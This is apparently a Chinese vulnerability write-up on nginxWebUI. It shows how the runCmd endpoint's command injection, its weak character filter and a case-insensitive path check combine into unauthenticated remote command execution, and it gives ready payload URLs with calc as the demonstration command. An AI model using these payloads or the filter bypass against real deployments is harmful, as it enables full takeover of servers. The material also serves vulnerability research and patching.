NginxWebUi 任意命令执行漏洞
漏洞描述
nginxWebUI是一款图形化管理nginx配置的工具,能通过网页快速配置nginx的各种功能,包括HTTP和TCP协议转发、反向代理、负载均衡、静态HTML服务器以及SSL证书的自动申请、续签和配置,配置完成后可以一键生成nginx.conf文件,并控制nginx使用此文件进行启动和重载。
nginxWebUI后台提供执行nginx相关命令的接口,由于未对用户的输入进行过滤,导致可在后台执行任意命令。并且该系统权限校验存在问题,导致存在权限绕过,在前台可直接调用后台接口,最终可以达到无条件远程命令执行的效果。
影响版本
nginxWebUI <= 3.5.2 未授权命令执行漏洞(网上公开为3.5.0 但下载后发现作者已删除GITEE中3.5.0的相应代码,下载3.5.0版本jar包反编译后发现并没有对权限绕过进行修复)
nginxWebUI 全版本均存在命令执行漏洞(文章截止最新版3.6.0)
漏洞细节
任意命令执行
3.4.7 之前版本
漏洞存在点:com/cym/controller/adminPage/ConfController.java(3.4.7版本之前)
@Controller
@Mapping("/adminPage/conf")
public class ConfController extends BaseController {
...
@Mapping(value = "runCmd")
public JsonResult runCmd(String cmd, String type) {
if (StrUtil.isNotEmpty(type)) {
settingService.set(type, cmd);
}
try {
String rs = "";
if (SystemTool.isWindows()) {
RuntimeUtil.exec("cmd /c start " + cmd);
} else {
rs = RuntimeUtil.execForStr("/bin/sh", "-c", cmd);
}
cmd = "<span class='blue'>" + cmd + "</span>";
if (StrUtil.isEmpty(rs) || rs.contains("已终止进程") //
|| rs.contains("signal process started") //
|| rs.toLowerCase().contains("terminated process") //
|| rs.toLowerCase().contains("starting") //
|| rs.toLowerCase().contains("stopping")) {
return renderSuccess(cmd + "<br>" + m.get("confStr.runSuccess") + "<br>" + rs.replace("\n", "<br>"));
} else {
return renderSuccess(cmd + "<br>" + m.get("confStr.runFail") + "<br>" + rs.replace("\n", "<br>"));
}
} catch (Exception e) {
logger.error(e.getMessage(), e);
return renderSuccess(m.get("confStr.runFail") + "<br>" + e.getMessage().replace("\n", "<br>"));
}
}
ConfController#runCmd()
方法中对传入 cmd 参数直接拼接到命令后执行命令
payload:
http://localhost:8080/AdminPage/conf/runCmd?cmd=calc
3.4.7 及之后版本
漏洞存在点:com/cym/controller/adminPage/ConfController.java(3.4.7版本之后)
@Controller
@Mapping("/adminPage/conf")
public class ConfController extends BaseController {
...
@Mapping(value = "runCmd")
///adminPage/conf/runCmd?cmd=恶意命令
public JsonResult runCmd(String cmd, String type) {
if (StrUtil.isNotEmpty(type)) {
settingService.set(type, cmd);
}
try {
String rs = "";
// 过滤特殊字符,防止命令拼接
cmd = cmd.replaceAll(";","\\\\;");
cmd = cmd.replaceAll("`","\\\\`");
cmd = cmd.replaceAll("\\|","\\\\|");
cmd = cmd.replaceAll("\\{","\\\\{");
cmd = cmd.replaceAll("\\}","\\\\}");
//仅执行nginx相关的命令,而不是其他的恶意命令
if(!cmd.contains("nginx")){
cmd = "nginx restart";
}
if (SystemTool.isWindows()) {
RuntimeUtil.exec("cmd /c start " + cmd);
} else {
rs = RuntimeUtil.execForStr("/bin/sh", "-c", cmd);
}
cmd = "<span class='blue'>" + cmd + "</span>";
if (StrUtil.isEmpty(rs) || rs.contains("已终止进程") //
|| rs.contains("signal process started") //
|| rs.toLowerCase().contains("terminated process") //
|| rs.toLowerCase().contains("starting") //
|| rs.toLowerCase().contains("stopping")) {
return renderSuccess(cmd + "<br>" + m.get("confStr.runSuccess") + "<br>" + rs.replace("\n", "<br>"));
} else {
return renderSuccess(cmd + "<br>" + m.get("confStr.runFail") + "<br>" + rs.replace("\n", "<br>"));
}
} catch (Exception e) {
logger.error(e.getMessage(), e);
return renderSuccess(m.get("confStr.runFail") + "<br>" + e.getMessage().replace("\n", "<br>"));
}
}
...
}
ConfController#runCmd()
方法中对传入 cmd 进行过滤后拼接到命令后执行命令,绕过过滤需满足以下要求:
- cmd 参数中存在 nginx
";" "
“ “\|” “\{“ “\}”`被过滤,可使用 & 绕过
payload:
http://localhost:8080/AdminPage/conf/runCmd?cmd=calc%26%26nginx
权限绕过
3.5.2 之前版本
NginxWebUi 使用Solon开发框架,NginxWebUi 权限校验为com/cym/config/AppFilter.java
@Component
public class AppFilter implements Filter {
...
@Override
public void doFilter(Context ctx, FilterChain chain) throws Throwable {
// 全局过滤器
if (!ctx.path().contains("/lib/") //
&& !ctx.path().contains("/js/") //
&& !ctx.path().contains("/doc/") //
&& !ctx.path().contains("/img/") //
&& !ctx.path().contains("/css/")) {
frontInterceptor(ctx);
}
// 登录过滤器
if (ctx.path().contains("/adminPage/") //
&& !ctx.path().contains("/lib/") //
&& !ctx.path().contains("/doc/") //
&& !ctx.path().contains("/js/") //
&& !ctx.path().contains("/img/") //
&& !ctx.path().contains("/css/")) {
if (!adminInterceptor(ctx)) {
// 设置为已处理
ctx.setHandled(true);
return;
}
}
// api过滤器
if (ctx.path().contains("/api/") //
&& !ctx.path().contains("/lib/") //
&& !ctx.path().contains("/doc/") //
&& !ctx.path().contains("/js/") //
&& !ctx.path().contains("/img/") //
&& !ctx.path().contains("/css/")) {
if (!apiInterceptor(ctx)) {
// 设置为已处理
ctx.setHandled(true);
return;
}
}
chain.doFilter(ctx);
}
...
}
根据以上源码可知若访问path 中包含 /lib/ /adminPage/ /api/
且不包含/lib/ /doc/ /js/ /img/ /css/
则进行权限校验,又因Solon 对大小写不敏感,故可使用大小写绕过权限校验
3.5.2 之后版本
@Component
public class AppFilter implements Filter {
Logger logger = LoggerFactory.getLogger(this.getClass());
@Inject
AdminService adminService;
@Inject
MessageUtils m;
@Inject
CreditService creditService;
@Inject("${solon.app.name}")
String projectName;
@Inject
VersionConfig versionConfig;
@Inject
PropertiesUtils propertiesUtils;
@Inject
SettingService settingService;
@Override
public void doFilter(Context ctx, FilterChain chain) throws Throwable {
String path = ctx.path().toLowerCase();
// 全局过滤器
if (!path.contains("/lib/") //
&& !path.toLowerCase().contains("/js/") //
&& !path.toLowerCase().contains("/doc/") //
&& !path.toLowerCase().contains("/img/") //
&& !path.toLowerCase().contains("/css/")) {
frontInterceptor(ctx);
}
// 登录过滤器
if (path.toLowerCase().contains("/adminPage/".toLowerCase()) //
&& !path.contains("/lib/") //
&& !path.contains("/doc/") //
&& !path.contains("/js/") //
&& !path.contains("/img/") //
&& !path.contains("/css/")) {
if (!adminInterceptor(ctx)) {
// 设置为已处理
ctx.setHandled(true);
return;
}
}
// api过滤器
if (path.toLowerCase().contains("/api/") //
&& !path.contains("/lib/") //
&& !path.contains("/doc/") //
&& !path.contains("/js/") //
&& !path.contains("/img/") //
&& !path.contains("/css/")) {
if (!apiInterceptor(ctx)) {
// 设置为已处理
ctx.setHandled(true);
return;
}
}
chain.doFilter(ctx);
}
}
3.5.0之后先对 path 进行处理再进行判断,权限绕过失败